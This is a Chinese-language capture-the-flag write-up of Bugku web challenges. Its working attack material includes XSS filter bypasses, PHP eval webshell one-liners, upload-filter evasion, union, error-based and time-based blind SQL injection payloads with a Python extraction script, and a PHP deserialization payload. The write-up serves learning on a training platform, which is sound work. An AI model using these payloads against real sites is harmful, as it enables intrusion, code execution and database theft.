bugku Web write up 二
XSS
先來最簡單的彈窗
?id=<srcipt>altert(/xss/)</script>
檢視原始碼
發現<>被過濾掉了
這裡學到一個技巧,就是用Unicode編碼繞過
payload:?id=\u003cimg src=1 onerror=alert(_key_)\u003e
速度要快
這種題就是程式設計題
上指令碼,注意這題是用margin。。。。檢視原始碼可知
#coding:utf-8
import requests
import base64
url ='http://120.24.86.145:8002/web6/'
r =requests.session()
headers = r.get(url).headers
#flag = head['Flag'].split(':')[0] 注意response的鍵
#print flag
flag = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':flag}
print r.post(url=url,data=data).content #.text
字元?正則?
進去一看是條程式碼審計題目
這裡加上別人跟自己對於正則的常規總結
1.表示式直接寫出來的字串直接利用,如key 2.“.”代表任意字元 3.“*”代表一個或一序列字元重複出現的次數,即前一個字元重複任意次,這裡可以是0次,還有就是以'^'開頭,以'$'結束 4.“\/”代表“/”,一種轉義,因為單獨的//代表著正則的開始與結束 5.[a-z]代表a-z中的任意一個字元 6.[[:punct:]]代表任意一個字元,包括各種符號,記得是符號 7./i代表大小寫不敏感 8.{4-7}代表[0-9]中數字連續出現的次數是4-7次 9.\s匹配任意的空白符 10.\d 匹配數字 11.\b 匹配單詞的開始或結束
自己的payload:?id=keyakey1111key:/a/[email protected]
Web8
這個題目又學到了新知識
利用了file_get_contents的特性,當用到php://input的時候,file_get_contents支援位元組流輸入,只要構造php://input,且post資料過去即可
payload:?ac=1&php://input然後再post一個 1即可
求getshell
這一道題目又學到新知識。。。。
用PHP別名來繞過。。。php2, php3, php4, php5, phps, pht, phtm, phtml
然後參考了大佬們的wp
發現這一題還要把Content-Type: multipart/form-data; 改成大小寫繞過的形式,改為Content-Type: Multipart/form-data;
然後用別名去嘗試php5的時候出現flag
never give up
檢視原始碼,發現有一個1p.html
開啟一看裡面有js程式碼,直接放到控制檯裡面看一下
發現跳轉到論壇,然後不知道要幹嘛。。。。。
還是先轉義一下那段東西吧,先urldecode,再發現裡面有base64,然後再一次urldecode發現一段程式碼
發現有一個txt檔案,不管那麼多,先訪問一下
得到flag
過狗一句話
這個一句話是get方式傳送資料
先了解一些函式
phpinfo()函式檢視資訊
看看根目錄下有哪些檔案
print_r(scandir("./"))
print_r(glob("*"))
發現有一個flag.txt,直接訪問即可,也可以用下面的函式打印出來
一些常用的輸出檔案內容
print_r(file('flag.txt')),這裡的print_r換成var_dump也行
show_source("flag.txt")
flag.php
因為題目提示hint,於是就輸入?hint
原來是程式碼審計題目
考了一個反序列化的知識點
構造payload,但是注意程式碼中if-else的範圍,倒數第二行中確實為變數KEY賦值了,但是它是在另一個else裡
在進行嚴格比較前,變數KEY的值並沒有被賦值
所以KEY為空值
然後在bp上構建payload
備份是個好習慣
開啟一看一串東西,題目不是說是備份是個好東西嗎。。備份的話就會想到原始碼洩露之類的東西,這裡介紹一個好用的東西
SourceLeakHacker
上去一掃,發現檔案
兩種payload:
第一種是利用MD5函式返回false的,第二種是弱型別,MD5之後是0e開頭的
?kkeyey1[]=1&kkeyey2[]=2
?kkeyey1=QNKCDZO&kkeyey2=s878926199a
秋名山老司機
指令碼題。。。。這是某位大佬的程式碼
import re
import requests
s = requests.Session()
r = s.get("http://120.24.86.145:8002/qiumingshan/")
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
d = {
"value": eval(searchObj.group(1))
}
r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)
print(r.text)
孫xx的部落格
找來找去頁面就發現這種東西
然後掃描以下網站
發現以下幾個網站
其中最有利用價值的是phpmyadmin,用剛才的那個wp那個東西登入即可。。
sql注入2
這題真是太坑。。。。哪有什麼注入。。。
我是看到別人wp說直接掃目錄即可。。。
找到一個叫flag的東西下載下來,真的氣死
這是一個神奇的登入介面
簡單的post注入,什麼過濾都沒有。。。
先嚐試” 報錯,然後構造語句
admin_name=-1" union select order by 2#&admin_passwd=&submit=GO GO GO
admin_name=-1" union select 1,2#&admin_passwd=&submit=GO GO GO 確定回顯
admin_name=-1" union select database(),2#&admin_passwd=&submit=GO GO GO
admin_name=-1" union select group_concat(table_name),2 from information_schema.tables where table_schema=daTABASE()#&admin_passwd=&submit=GO GO GO
admin_name=-1" union select group_concat(column_name),2 from information_schema.columns where table_name='flag1'#&admin_passwd=&submit=GO GO GO
admin_name=-1" union select flag1,2 from `flag1`#&admin_passwd=&submit=GO GO GO
檔案包含二
兩種繞過方法
<?[email protected]eval($_POST['cmd']);
<script language="php">eval($_POST['cmd']);</script>
然後就是upload.php中是不能以php執行的
SQL約束攻擊
welcome to bugku
抓包發現原始碼
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
出現file_get_contents,繞過第一層,然後用偽協議讀取檔案
得到base64編碼然後解碼得到下面的程式碼
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
感覺還是少了點東西,再用同樣的方法檢視index.php
這一下就感覺比較全了
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能現在就給你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
這裡看到unserialize就知道想要考察反序列化漏洞
從hint.php知道這個類,我們就可以構造一個類然後在echo函式呼叫後去呼叫__tostring()函式,然後讀取檔案
這裡是我構造的類
class Flag{//flag.php
public $file;
}
$a= new Flag();
$a->file = 'flag.php';
print _r(serialize($a));
最後另password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
,發包得到flag
有時候不一定構造類,普通的陣列也行,最近在實驗吧做題遇到了一題直接用陣列反序列化的題目。。。還是要看清楚題目要沒有給你類之類的
INSERT INTO注入
這一個題目讓我重新複習了一波python指令碼啊!!!
我們檢視原始碼
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
這段程式碼大概意思就先是獲取IP。但是在explode(',', $ip)
這裡以”,”給分割了,導致後面的語句不能使用有逗號的,也就是不能用limit1.2
之類的,報錯什麼的都不行,所以只能延時盲注,所以我們用下面的程式碼段
select substring((select user()) from 1 for 1); #第一種方法
select substring((select user()) from -1); #第二種方法
這裡利用了XFF的注入,用了一個新語句
select case when (條件) then 程式碼1 else 程式碼 2 end
原理大概就是利用11+false/true去進行判斷,一旦是true,就與timeout=3相違背,從而執行except下面的函式,就可以跑出flag
直接放程式碼
import requests
import string
author = '0verWatch'
print author
mystring = string.ascii_letters+string.digits
url='http://120.24.86.145:8002/web15/'
data = "11'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1" #這裡的{}對應的是後面所需要的format
flag = ''
for i in range(1,35):
for j in mystring:
try:
headers = {'x-forwarded-for':data.format(str(i),j)}
res = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
flag += j
print flag
break
print 'The final flag:'+flag
多次
這個題目感謝一下超哥的指導
我們進去之後先測試一波
開始輸入 ?id=1’
頁面返回錯誤(但不是報錯資訊),新增 ?id=1’%23
則沒有報錯猜測應該是單引號閉合,繼續嘗試 ?id=1’ and 1=1%23
則又開始報錯了,
這裡學到一種新的注入方式異或注入
id後面輸入 1’^(0)^’
,此時頁面正常返回,如果換一下 ‘^(1)^’
,此時則會返回錯誤,那麼接下來我們就可以試一下頁面究竟過濾了那些關鍵字。比如 1’^(length(‘select’)=6)^’
測試這個select
應該是被過濾的了,實現的語句應該是id=1'^0^0
,有過濾返回正確,而無過濾的時候就會返回錯誤
測試得到以下關鍵字被過濾
select,union,or,and
我們先嚐試用seselectlect
這樣的形式過濾,怎麼測試呢,也是剛才的語句 1’^(length(‘seselectlect’)=6)^’
這裡返回了錯誤,說明繞過成功了
下面就是常規操作
?id=1' oorrder by 3%23 # 爆欄位數
?id=-1' ununionion seleselectct 1,database() %23
注意information的繞過
?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() %23
?id=-1' ununionion seleselectct 1,group_concat(address) from flag1%23
最後得到下一個頁面的地址
在一次嘗試,發現這個頁面是個報錯注入,多次嘗試發現union關鍵字被過濾,一旦union被過濾我們只能用報錯注入的方法,一步步來了
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=flag2),0x7e),1)%23
?id=1' and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)%23
得到flag,注意提交flag的格式全部都是小寫
總的來說這個題還是學到很多的,一是通過異或注入判斷過濾的關鍵字,二是在union被過濾的情況之下要想到報錯注入的方式